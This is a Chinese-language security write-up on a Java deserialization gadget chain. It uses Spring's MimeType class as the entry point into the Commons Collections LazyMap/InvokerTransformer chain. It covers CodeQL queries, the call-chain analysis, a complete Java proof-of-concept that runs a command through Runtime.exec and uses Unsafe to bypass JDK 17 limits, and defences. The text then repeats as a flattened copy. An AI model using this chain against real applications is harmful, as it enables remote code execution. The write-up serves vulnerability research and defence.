Spring的新入口类反序列化触发CC链
字数 1499 2025-08-05 08:19:58

Spring新入口类MimeType反序列化触发CC链分析

前言

本文详细分析如何通过Spring框架中的MimeType类作为新的反序列化入口,触发Commons Collections(CC)链实现远程代码执行。该漏洞利用链在以下环境中验证通过:

  • JDK 17.0.11
  • SpringBoot 3.1.10
  • Commons Collections 3.2.1
  • CodeQL CLI 2.17.0

技术背景

反序列化漏洞原理

Java反序列化漏洞是指当应用程序反序列化不可信的输入数据时,攻击者可以通过构造特殊的序列化对象,在反序列化过程中执行任意代码。这类漏洞通常需要满足两个条件:

  1. 存在可被利用的入口类(source)
  2. 存在可触发危险操作的链式调用(sink)

Commons Collections链

Commons Collections(CC)链是Java反序列化漏洞中经典的利用链,主要通过InvokerTransformerChainedTransformerLazyMap等类的组合,实现在反序列化过程中执行任意命令。

漏洞发现过程

CodeQL环境搭建

  1. 下载CodeQL CLI命令行工具并配置环境变量
  2. 在VSCode中安装CodeQL插件并配置CLI路径
  3. 下载vscode-codeql-starter工作空间
  4. 创建目标项目的数据库:
    codeql database create /path/to/database --language=java --source-root=/path/to/project --command="mvn clean package"
    

CodeQL查询编写

定义source点 - readObject方法

class ReadObjectMethod extends Method {
    ReadObjectMethod(){
        this.getDeclaringType() instanceof Serializable and
        this.isPrivate() and
        this.hasName("readObject") and 
        this.getReturnType() instanceof VoidType
    }
}

定义sink点 - LazyMap.get方法

class LazyMapGetMethod extends Method {
    LazyMapGetMethod() {
        this.getDeclaringType() instanceof Serializable and
        this.isPublic() and
        this.getReturnType() instanceof TypeObject and
        this.hasName("get") and 
        this.getDeclaringType().hasQualifiedName("org.apache.commons.collections.map","LazyMap")
    }
}

执行查询后发现有45条结果,其中MimeType类有多条路径可以触发LazyMap#get

漏洞链分析

调用链分析

完整的调用链如下:

  1. MimeType#readObject → 调用this.getParameter("charset")
  2. getParameter → 调用this.parameters.get("charset")
  3. parametersMap类型,可被设置为LazyMap对象
  4. LazyMap#get → 触发ChainedTransformer#transform
  5. ChainedTransformer#transform → 触发InvokerTransformer#transform
  6. InvokerTransformer#transform → 通过反射执行任意命令

关键点说明

  1. MimeType是Spring框架中用于表示MIME类型的类,实现了Serializable接口
  2. parameters字段是Map类型,可通过反射修改为恶意的LazyMap
  3. JDK 17中反射修改字段存在权限问题,需要使用Unsafe类绕过限制

漏洞验证POC

package Test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.springframework.util.MimeType;
import sun.misc.Unsafe;
import java.lang.reflect.Field;
import java.util.*;

import utils.*;

public class Test {
    public static void main(String[] args) throws Exception {
        // 构造Transformer链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                    new Class[]{String.class,Class[].class},
                    new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",
                    new Class[]{Object.class,Object[].class},
                    new Object[]{null,null}),
                new InvokerTransformer("exec", 
                    new Class[]{String.class},
                    new Object[]{"open -a Calculator"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        
        // 创建LazyMap
        HashMap map = new HashMap();
        Map map1 = LazyMap.decorate(map, chainedTransformer);

        // 使用Unsafe绕过JDK17限制
        Field field = Unsafe.class.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe)field.get((Object)null);
        
        // 创建MimeType实例并修改parameters字段
        MimeType mimeType = (MimeType) unsafe.allocateInstance(MimeType.class);
        unsafe.putObject(mimeType,
            unsafe.objectFieldOffset(MimeType.class.getDeclaredField("parameters")),
            map1);

        // 序列化与反序列化触发漏洞
        String pld = SerializeUtils.serializeBase64(mimeType);
        SerializeUtils.unserializeBase64(pld);
    }
}

防御措施

  1. 升级Commons Collections到安全版本(3.2.2+)
  2. 使用Java反序列化过滤器(ObjectInputFilter)限制可反序列化的类
  3. 避免反序列化不可信的数据源
  4. 对关键类进行加固,防止字段被恶意修改

总结

本文详细分析了通过Spring框架MimeType类触发CC链的反序列化漏洞,从CodeQL环境搭建、查询编写到完整的POC构造和漏洞利用过程。该漏洞的关键在于:

  1. 发现MimeType作为新的反序列化入口
  2. 利用parameters字段的可控性
  3. 在JDK高版本环境下使用Unsafe绕过限制
  4. 完整的CC链构造和触发过程

这种漏洞挖掘方法可以推广到其他组件的分析中,通过CodeQL等静态分析工具寻找新的反序列化利用链。

Spring新入口类MimeType反序列化触发CC链分析 前言 本文详细分析如何通过Spring框架中的 MimeType 类作为新的反序列化入口,触发Commons Collections(CC)链实现远程代码执行。该漏洞利用链在以下环境中验证通过: JDK 17.0.11 SpringBoot 3.1.10 Commons Collections 3.2.1 CodeQL CLI 2.17.0 技术背景 反序列化漏洞原理 Java反序列化漏洞是指当应用程序反序列化不可信的输入数据时,攻击者可以通过构造特殊的序列化对象,在反序列化过程中执行任意代码。这类漏洞通常需要满足两个条件: 存在可被利用的入口类(source) 存在可触发危险操作的链式调用(sink) Commons Collections链 Commons Collections(CC)链是Java反序列化漏洞中经典的利用链,主要通过 InvokerTransformer 、 ChainedTransformer 和 LazyMap 等类的组合,实现在反序列化过程中执行任意命令。 漏洞发现过程 CodeQL环境搭建 下载CodeQL CLI命令行工具并配置环境变量 在VSCode中安装CodeQL插件并配置CLI路径 下载vscode-codeql-starter工作空间 创建目标项目的数据库: CodeQL查询编写 定义source点 - readObject方法 定义sink点 - LazyMap.get方法 执行查询后发现有45条结果,其中 MimeType 类有多条路径可以触发 LazyMap#get 。 漏洞链分析 调用链分析 完整的调用链如下: MimeType#readObject → 调用 this.getParameter("charset") getParameter → 调用 this.parameters.get("charset") parameters 是 Map 类型,可被设置为 LazyMap 对象 LazyMap#get → 触发 ChainedTransformer#transform ChainedTransformer#transform → 触发 InvokerTransformer#transform InvokerTransformer#transform → 通过反射执行任意命令 关键点说明 MimeType 是Spring框架中用于表示MIME类型的类,实现了 Serializable 接口 parameters 字段是 Map 类型,可通过反射修改为恶意的 LazyMap JDK 17中反射修改字段存在权限问题,需要使用 Unsafe 类绕过限制 漏洞验证POC 防御措施 升级Commons Collections到安全版本(3.2.2+) 使用Java反序列化过滤器(ObjectInputFilter)限制可反序列化的类 避免反序列化不可信的数据源 对关键类进行加固,防止字段被恶意修改 总结 本文详细分析了通过Spring框架 MimeType 类触发CC链的反序列化漏洞,从CodeQL环境搭建、查询编写到完整的POC构造和漏洞利用过程。该漏洞的关键在于: 发现 MimeType 作为新的反序列化入口 利用 parameters 字段的可控性 在JDK高版本环境下使用 Unsafe 绕过限制 完整的CC链构造和触发过程 这种漏洞挖掘方法可以推广到其他组件的分析中,通过CodeQL等静态分析工具寻找新的反序列化利用链。